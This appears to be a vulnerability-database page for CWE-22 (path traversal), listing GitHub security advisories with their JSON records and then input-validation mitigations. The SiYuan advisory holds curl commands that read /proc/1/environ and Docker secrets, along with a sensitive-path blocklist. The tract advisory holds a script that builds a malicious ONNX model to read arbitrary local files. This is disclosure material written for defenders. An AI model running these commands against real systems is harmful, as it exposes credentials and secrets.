CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13235 vulnerabilities reference this CWE, most recent first.
GHSA-H5RV-HX8G-FJQX
Vulnerability from github – Published: 2022-05-14 02:57 – Updated: 2022-05-14 02:57A directory traversal flaw in SeedDMS (formerly LetoDMS and MyDMS) before 5.1.8 allows an authenticated attacker to write to (or potentially delete) arbitrary files via a .. (dot dot) in the "op/op.UploadChunks.php" "qquuid" parameter. NOTE: this can be leveraged to execute arbitrary code by using CVE-2018-12940.
{
"affected": [],
"aliases": [
"CVE-2018-12939"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-31T14:29:00Z",
"severity": "MODERATE"
},
"details": "A directory traversal flaw in SeedDMS (formerly LetoDMS and MyDMS) before 5.1.8 allows an authenticated attacker to write to (or potentially delete) arbitrary files via a .. (dot dot) in the \"op/op.UploadChunks.php\" \"qquuid\" parameter. NOTE: this can be leveraged to execute arbitrary code by using CVE-2018-12940.",
"id": "GHSA-h5rv-hx8g-fjqx",
"modified": "2022-05-14T02:57:59Z",
"published": "2022-05-14T02:57:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-12939"
},
{
"type": "WEB",
"url": "https://sourceforge.net/p/seeddms/code/ci/seeddms-5.1.x/tree/CHANGELOG"
},
{
"type": "WEB",
"url": "https://www.contextis.com/resources/advisories/cve-2018-12939"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H5VH-M7FG-W5H6
Vulnerability from github – Published: 2026-03-16 18:46 – Updated: 2026-03-30 13:58Summary
POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.
Details
File: kernel/api/file.go - function globalCopyFiles
for i, src := range srcs {
absSrc, _ := filepath.Abs(src)
if util.IsSensitivePath(absSrc) {
return
}
srcs[i] = absSrc
}
destDir := filepath.Join(util.WorkspaceDir, destDir)
for _, src := range srcs {
dest := filepath.Join(destDir, filepath.Base(src))
filelock.Copy(src, dest) // copies unchecked sensitive file into workspace
}
IsSensitivePath blocklist (kernel/util/path.go):
prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."}
Not blocked - exploitable targets: | Path | Contains | |------|----------| | /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY | | /run/secrets/* | Docker Swarm / Compose injected secrets | | /home/siyuan/.aws/credentials | AWS credentials (non-root user) | | /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) | | /tmp/ | Temporary files including tokens |
PoC
Environment:
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit:
TOKEN="YOUR_ADMIN_TOKEN"
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}'
curl -s -X POST http://localhost:6806/api/file/getFile \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"path":"/data/assets/environ"}' | tr '\0' '\n'
Docker secrets:
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"srcs":["/run/secrets/db_password","/run/secrets/api_token"],"destDir":"data/assets/"}'
Impact
An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20260313024916-fd6526133bb3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32747"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T18:46:14Z",
"nvd_published_at": "2026-03-19T21:17:10Z",
"severity": "MODERATE"
},
"details": "### Summary\nPOST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.\n\n### Details\nFile: kernel/api/file.go - function globalCopyFiles\n\n```go\nfor i, src := range srcs {\n absSrc, _ := filepath.Abs(src)\n\n if util.IsSensitivePath(absSrc) {\n return\n }\n srcs[i] = absSrc\n}\ndestDir := filepath.Join(util.WorkspaceDir, destDir)\nfor _, src := range srcs {\n dest := filepath.Join(destDir, filepath.Base(src))\n filelock.Copy(src, dest) // copies unchecked sensitive file into workspace\n}\n```\n\nIsSensitivePath blocklist (kernel/util/path.go):\n```go\nprefixes := []string{\"/etc/ssh\", \"/root\", \"/etc\", \"/var/lib/\", \"/.\"}\n```\n\n**Not blocked - exploitable targets:**\n| Path | Contains |\n|------|----------|\n| /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY |\n| /run/secrets/* | Docker Swarm / Compose injected secrets |\n| /home/siyuan/.aws/credentials | AWS credentials (non-root user) |\n| /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) |\n| /tmp/ | Temporary files including tokens |\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n -v $(pwd)/workspace:/siyuan/workspace \\\n b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\nTOKEN=\"YOUR_ADMIN_TOKEN\"\n\ncurl -s -X POST http://localhost:6806/api/file/globalCopyFiles \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"srcs\":[\"/proc/1/environ\"],\"destDir\":\"data/assets/\"}\u0027\n\ncurl -s -X POST http://localhost:6806/api/file/getFile \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"path\":\"/data/assets/environ\"}\u0027 | tr \u0027\\0\u0027 \u0027\\n\u0027\n```\n\n**Docker secrets:**\n```bash\ncurl -s -X POST http://localhost:6806/api/file/globalCopyFiles \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"srcs\":[\"/run/secrets/db_password\",\"/run/secrets/api_token\"],\"destDir\":\"data/assets/\"}\u0027\n```\n\n### Impact\nAn admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.",
"id": "GHSA-h5vh-m7fg-w5h6",
"modified": "2026-03-30T13:58:13Z",
"published": "2026-03-16T18:46:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h5vh-m7fg-w5h6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32747"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/9914fd1d39e5f0a8dcc9fb587e1c0b46f31490a1"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets"
}
GHSA-H5WG-MM35-JJGV
Vulnerability from github – Published: 2026-07-14 18:31 – Updated: 2026-07-14 18:31A path traversal security issue exists within Rockwell Automation ThinManager® software due to improper limitation of file save operations within the API. An authenticated attacker could exploit this vulnerability to write arbitrary files to restricted system directories outside of the application's intended directory.
{
"affected": [],
"aliases": [
"CVE-2026-11917"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T16:16:44Z",
"severity": "HIGH"
},
"details": "A path traversal security issue exists within Rockwell Automation\u00a0ThinManager\u00ae software due to improper limitation of file save operations within the API. An authenticated attacker could exploit this vulnerability to write arbitrary files to restricted system directories outside of the application\u0027s intended directory.",
"id": "GHSA-h5wg-mm35-jjgv",
"modified": "2026-07-14T18:31:54Z",
"published": "2026-07-14T18:31:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11917"
},
{
"type": "WEB",
"url": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1782.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-H626-PV66-HHM7
Vulnerability from github – Published: 2023-09-08 18:30 – Updated: 2023-09-08 19:43Terraform version 1.0.8 through 1.5.6 allows arbitrary file write during the init operation if run on maliciously crafted Terraform configuration. This vulnerability is fixed in Terraform 1.5.7.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/hashicorp/terraform"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.8"
},
{
"fixed": "1.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-4782"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2023-09-08T19:43:48Z",
"nvd_published_at": "2023-09-08T18:15:07Z",
"severity": "MODERATE"
},
"details": "Terraform version 1.0.8 through 1.5.6 allows arbitrary file write during the `init` operation if run on maliciously crafted Terraform configuration. This vulnerability is fixed in Terraform 1.5.7.",
"id": "GHSA-h626-pv66-hhm7",
"modified": "2023-09-08T19:43:48Z",
"published": "2023-09-08T18:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4782"
},
{
"type": "WEB",
"url": "https://github.com/hashicorp/terraform/pull/33745"
},
{
"type": "WEB",
"url": "https://github.com/hashicorp/terraform/commit/0f2314fb62193c4be94328cc026fcb7ec1e9b893"
},
{
"type": "WEB",
"url": "https://discuss.hashicorp.com/t/hcsec-2023-27-terraform-allows-arbitrary-file-write-during-init-operation/58082"
},
{
"type": "PACKAGE",
"url": "https://github.com/hashicorp/terraform"
},
{
"type": "WEB",
"url": "https://github.com/hashicorp/terraform/releases/tag/v1.5.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Terraform allows arbitrary file write during the `init` operation"
}
GHSA-H64F-RHQV-5HG8
Vulnerability from github – Published: 2022-05-17 01:34 – Updated: 2022-05-17 01:34Directory traversal vulnerability in Easytime Studio Easy File Manager 1.1 for iOS allows remote attackers to read arbitrary files via a ..%2f (encoded dot dot slash) to the default URI.
{
"affected": [],
"aliases": [
"CVE-2013-3921"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-12-05T18:55:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in Easytime Studio Easy File Manager 1.1 for iOS allows remote attackers to read arbitrary files via a ..%2f (encoded dot dot slash) to the default URI.",
"id": "GHSA-h64f-rhqv-5hg8",
"modified": "2022-05-17T01:34:17Z",
"published": "2022-05-17T01:34:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-3921"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/89169"
},
{
"type": "WEB",
"url": "https://www.trustwave.com/spiderlabs/advisories/TWSL2013-033.txt"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H64P-8H4R-6GFH
Vulnerability from github – Published: 2026-07-02 19:09 – Updated: 2026-07-02 19:09Summary
The public web-client endpoint for partial ZIP downloads of a browsable share did not correctly confine the client-supplied files entries to the shared directory. A requester able to reach a public share could read files located outside the shared directory, as long as the target's canonical path begins with the shared directory's name.
Patches
Fixed in v2.7.3. The fix replaces the raw prefix check with a directory-boundary–aware check.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.7.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/drakkan/sftpgo/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.7.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49244"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T19:09:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe public web-client endpoint for partial ZIP downloads of a browsable share did not correctly confine the client-supplied files entries to the shared directory. A requester able to reach a public share could read files located outside the shared directory, as long as the target\u0027s canonical path begins with the shared directory\u0027s name.\n\n## Patches\n\nFixed in v2.7.3. The fix replaces the raw prefix check with a directory-boundary\u2013aware check.",
"id": "GHSA-h64p-8h4r-6gfh",
"modified": "2026-07-02T19:09:13Z",
"published": "2026-07-02T19:09:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/drakkan/sftpgo/security/advisories/GHSA-h64p-8h4r-6gfh"
},
{
"type": "PACKAGE",
"url": "https://github.com/drakkan/sftpgo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SFTPGo has path confinement bypass in public browsable share partial ZIP download"
}
GHSA-H654-R868-PJ2Q
Vulnerability from github – Published: 2024-07-17 15:30 – Updated: 2024-07-17 15:30The SolarWinds Access Rights Manager was susceptible to a Directory Traversal and Information Disclosure Vulnerability. This vulnerability allows an unauthenticated user to perform remote code execution.
{
"affected": [],
"aliases": [
"CVE-2024-23467"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-17T15:15:11Z",
"severity": "CRITICAL"
},
"details": "The SolarWinds Access Rights Manager was susceptible to a Directory Traversal and Information Disclosure Vulnerability. This vulnerability allows an unauthenticated user to perform remote code execution.",
"id": "GHSA-h654-r868-pj2q",
"modified": "2024-07-17T15:30:50Z",
"published": "2024-07-17T15:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23467"
},
{
"type": "WEB",
"url": "https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H655-VGCC-7FQV
Vulnerability from github – Published: 2022-05-17 04:38 – Updated: 2022-05-17 04:38Multiple directory traversal vulnerabilities in Bitdefender GravityZone before 5.1.11.432 allow remote attackers to read arbitrary files via a (1) .. (dot dot) in the id parameter to webservice/CORE/downloadFullKitEpc/a/1 in the Web Console or (2) %2E%2E (encoded dot dot) in the default URI to port 7074 on the Update Server.
{
"affected": [],
"aliases": [
"CVE-2014-5350"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-08-19T19:55:00Z",
"severity": "MODERATE"
},
"details": "Multiple directory traversal vulnerabilities in Bitdefender GravityZone before 5.1.11.432 allow remote attackers to read arbitrary files via a (1) .. (dot dot) in the id parameter to webservice/CORE/downloadFullKitEpc/a/1 in the Web Console or (2) %2E%2E (encoded dot dot) in the default URI to port 7074 on the Update Server.",
"id": "GHSA-h655-vgcc-7fqv",
"modified": "2022-05-17T04:38:21Z",
"published": "2022-05-17T04:38:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-5350"
},
{
"type": "WEB",
"url": "https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140716-3_Bitdefender_GravityZone_Multiple_critical_vulnerabilities_v10.txt"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2014/Jul/78"
},
{
"type": "WEB",
"url": "http://www.bitdefender.com/support/how-to-configure-iptables-firewall-rules-on-gravityzone-for-restricting-outside-access-to-mongodatabase-1265.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H65H-28XW-W79Q
Vulnerability from github – Published: 2026-05-08 00:31 – Updated: 2026-05-08 00:31A weakness has been identified in huangjunsen0406 xiaozhi-mcphub up to 1.0.3. This vulnerability affects unknown code of the file src/controllers/dxtController.ts. This manipulation of the argument manifest.name causes path traversal. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-8116"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-08T00:16:09Z",
"severity": "LOW"
},
"details": "A weakness has been identified in huangjunsen0406 xiaozhi-mcphub up to 1.0.3. This vulnerability affects unknown code of the file src/controllers/dxtController.ts. This manipulation of the argument manifest.name causes path traversal. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-h65h-28xw-w79q",
"modified": "2026-05-08T00:31:35Z",
"published": "2026-05-08T00:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8116"
},
{
"type": "WEB",
"url": "https://github.com/huangjunsen0406/xiaozhi-mcphub/issues/29"
},
{
"type": "WEB",
"url": "https://github.com/huangjunsen0406/xiaozhi-mcphub"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/808260"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/361904"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/361904/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-H668-6X6G-F8R5
Vulnerability from github – Published: 2026-06-19 14:45 – Updated: 2026-06-19 14:45Summary
tract (the tract-onnx crate) resolves an ONNX tensor's external-data location by joining it onto the model directory without any sanitization. Because location comes from the (untrusted) .onnx file, a malicious model can make tract open and read an arbitrary local file at load time, with the file's contents flowing into the model's tensors / inference output (read-only file disclosure). This is the ONNX external-data path-traversal class that the reference onnx library hardened over several CVEs; tract resolves location itself and was never hardened.
Details
In onnx/src/tensor.rs, get_external_resources() builds the path with no checks:
let location = /* tensor.external_data "location" value — attacker-controlled */;
let p = PathBuf::from(path).join(location); // no is_absolute / ".." / canonicalize / containment check
provider.read_bytes_from_path(&mut tensor_data, &p, offset, length)?; // Mmap::map(File::open(p)) by default
Path::joinwith an absolutelocation(e.g./etc/passwd) discards the base directory →p = /etc/passwd.- A relative
../../../../etc/passwdvalue is not normalized → directory traversal. - The default
MmapDataResolver(onnx/src/data_resolver.rs) thenmmaps the file and copiesmmap[offset..offset+length]into the tensor.offset/lengthare also taken from the file; an out-of-range slice panics (DoS).
No is_absolute, .., canonicalize, or containment check exists anywhere on this path (tensor.rs, model.rs, data_resolver.rs).
Reachable from the standard public API: model_for_path(p) (onnx/src/model.rs) sets model_dir = p.parent() and calls load_tensor(proto, model_dir) → get_external_resources(.., model_dir).
PoC
Tested on tract-onnx 0.21.16 (crates.io), Rust 1.96.
- A canary file the model must not be able to read:
/tmp/tract_canary_secret.txt→TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b - Build a small
evil.onnxwith aUINT8[37]initializer whoseexternal_dataislocation=/tmp/tract_canary_secret.txt(absolute),offset=0,length=37, fed throughIdentityto the output (raw protobuf serialization):
import onnx
from onnx import helper, TensorProto, StringStringEntryProto
N = 37; LOC = "/tmp/tract_canary_secret.txt" # absolute -> Path::join discards the base dir
w = TensorProto(); w.name = "W"; w.data_type = TensorProto.UINT8
w.dims.extend([N]); w.data_location = TensorProto.EXTERNAL
for k, v in [("location", LOC), ("offset", "0"), ("length", str(N))]:
e = StringStringEntryProto(); e.key = k; e.value = v; w.external_data.append(e)
node = helper.make_node("Identity", ["W"], ["Y"])
out = helper.make_tensor_value_info("Y", TensorProto.UINT8, [N])
g = helper.make_graph([node], "g", [], [out], initializer=[w])
m = helper.make_model(g, opset_imports=[helper.make_opsetid("", 13)])
open("evil.onnx", "wb").write(m.SerializeToString())
- Victim loads the untrusted model with the standard API:
let model = tract_onnx::onnx().model_for_path("evil.onnx")?;
let out = model.into_optimized()?.into_runnable()?.run(tvec!())?;
let bytes: Vec<u8> = out[0].to_array_view::<u8>()?.iter().cloned().collect();
println!("{:?}", String::from_utf8_lossy(&bytes));
Output:
"TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b"
i.e. the contents of the arbitrary local file were read by tract and surfaced in the inference output.
Impact
Read-only arbitrary local file disclosure when an application uses tract to load an untrusted or shared ONNX model (model hubs, multi-file repos, user uploads). The file content is recoverable from the model's tensors / inference output. Secondary: denial of service (panic) via out-of-bounds offset/length. No write or code execution.
Suggested fix
Reject absolute location and any .. component, then canonicalize and verify the resolved path stays within the model directory (mirroring onnx 1.22.0's resolve_external_data_location); reject symlinks; validate offset/length against the file size before slicing.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "tract-onnx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.21.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "tract-onnx"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.22.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "tract-onnx"
},
"ranges": [
{
"events": [
{
"introduced": "0.23.0"
},
{
"fixed": "0.23.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55832"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T14:45:43Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n`tract` (the `tract-onnx` crate) resolves an ONNX tensor\u0027s external-data `location` by joining it onto the model directory **without any sanitization**. Because `location` comes from the (untrusted) `.onnx` file, a malicious model can make `tract` open and read an **arbitrary local file** at load time, with the file\u0027s contents flowing into the model\u0027s tensors / inference output (read-only file disclosure). This is the ONNX external-data path-traversal class that the reference `onnx` library hardened over several CVEs; `tract` resolves `location` itself and was never hardened.\n\n### Details\n\nIn `onnx/src/tensor.rs`, `get_external_resources()` builds the path with no checks:\n\n```rust\nlet location = /* tensor.external_data \"location\" value \u2014 attacker-controlled */;\nlet p = PathBuf::from(path).join(location); // no is_absolute / \"..\" / canonicalize / containment check\nprovider.read_bytes_from_path(\u0026mut tensor_data, \u0026p, offset, length)?; // Mmap::map(File::open(p)) by default\n```\n\n- `Path::join` with an **absolute** `location` (e.g. `/etc/passwd`) discards the base directory \u2192 `p = /etc/passwd`.\n- A **relative** `../../../../etc/passwd` value is not normalized \u2192 directory traversal.\n- The default `MmapDataResolver` (`onnx/src/data_resolver.rs`) then `mmap`s the file and copies `mmap[offset..offset+length]` into the tensor. `offset`/`length` are also taken from the file; an out-of-range slice **panics** (DoS).\n\nNo `is_absolute`, `..`, `canonicalize`, or containment check exists anywhere on this path (`tensor.rs`, `model.rs`, `data_resolver.rs`).\n\nReachable from the standard public API: `model_for_path(p)` (`onnx/src/model.rs`) sets `model_dir = p.parent()` and calls `load_tensor(proto, model_dir)` \u2192 `get_external_resources(.., model_dir)`.\n\n### PoC\n\nTested on `tract-onnx 0.21.16` (crates.io), Rust 1.96.\n\n1. A canary file the model must not be able to read:\n `/tmp/tract_canary_secret.txt` \u2192 `TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b`\n2. Build a small `evil.onnx` with a `UINT8[37]` initializer whose `external_data` is `location=/tmp/tract_canary_secret.txt` (absolute), `offset=0`, `length=37`, fed through `Identity` to the output (raw protobuf serialization):\n\n```python\nimport onnx\nfrom onnx import helper, TensorProto, StringStringEntryProto\nN = 37; LOC = \"/tmp/tract_canary_secret.txt\" # absolute -\u003e Path::join discards the base dir\nw = TensorProto(); w.name = \"W\"; w.data_type = TensorProto.UINT8\nw.dims.extend([N]); w.data_location = TensorProto.EXTERNAL\nfor k, v in [(\"location\", LOC), (\"offset\", \"0\"), (\"length\", str(N))]:\n e = StringStringEntryProto(); e.key = k; e.value = v; w.external_data.append(e)\nnode = helper.make_node(\"Identity\", [\"W\"], [\"Y\"])\nout = helper.make_tensor_value_info(\"Y\", TensorProto.UINT8, [N])\ng = helper.make_graph([node], \"g\", [], [out], initializer=[w])\nm = helper.make_model(g, opset_imports=[helper.make_opsetid(\"\", 13)])\nopen(\"evil.onnx\", \"wb\").write(m.SerializeToString())\n```\n\n3. Victim loads the untrusted model with the standard API:\n\n```rust\nlet model = tract_onnx::onnx().model_for_path(\"evil.onnx\")?;\nlet out = model.into_optimized()?.into_runnable()?.run(tvec!())?;\nlet bytes: Vec\u003cu8\u003e = out[0].to_array_view::\u003cu8\u003e()?.iter().cloned().collect();\nprintln!(\"{:?}\", String::from_utf8_lossy(\u0026bytes));\n```\n\nOutput:\n\n```\n\"TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b\"\n```\n\ni.e. the contents of the arbitrary local file were read by `tract` and surfaced in the inference output.\n\n### Impact\n\nRead-only arbitrary local file disclosure when an application uses `tract` to load an untrusted or shared ONNX model (model hubs, multi-file repos, user uploads). The file content is recoverable from the model\u0027s tensors / inference output. Secondary: denial of service (panic) via out-of-bounds `offset`/`length`. No write or code execution.\n\n### Suggested fix\n\nReject absolute `location` and any `..` component, then canonicalize and verify the resolved path stays within the model directory (mirroring `onnx` 1.22.0\u0027s `resolve_external_data_location`); reject symlinks; validate `offset`/`length` against the file size before slicing.",
"id": "GHSA-h668-6x6g-f8r5",
"modified": "2026-06-19T14:45:43Z",
"published": "2026-06-19T14:45:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sonos/tract/security/advisories/GHSA-h668-6x6g-f8r5"
},
{
"type": "PACKAGE",
"url": "https://github.com/sonos/tract"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "tract: Arbitrary file read via unsanitized ONNX external_data `location` (path traversal) on model load in tract-onnx"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
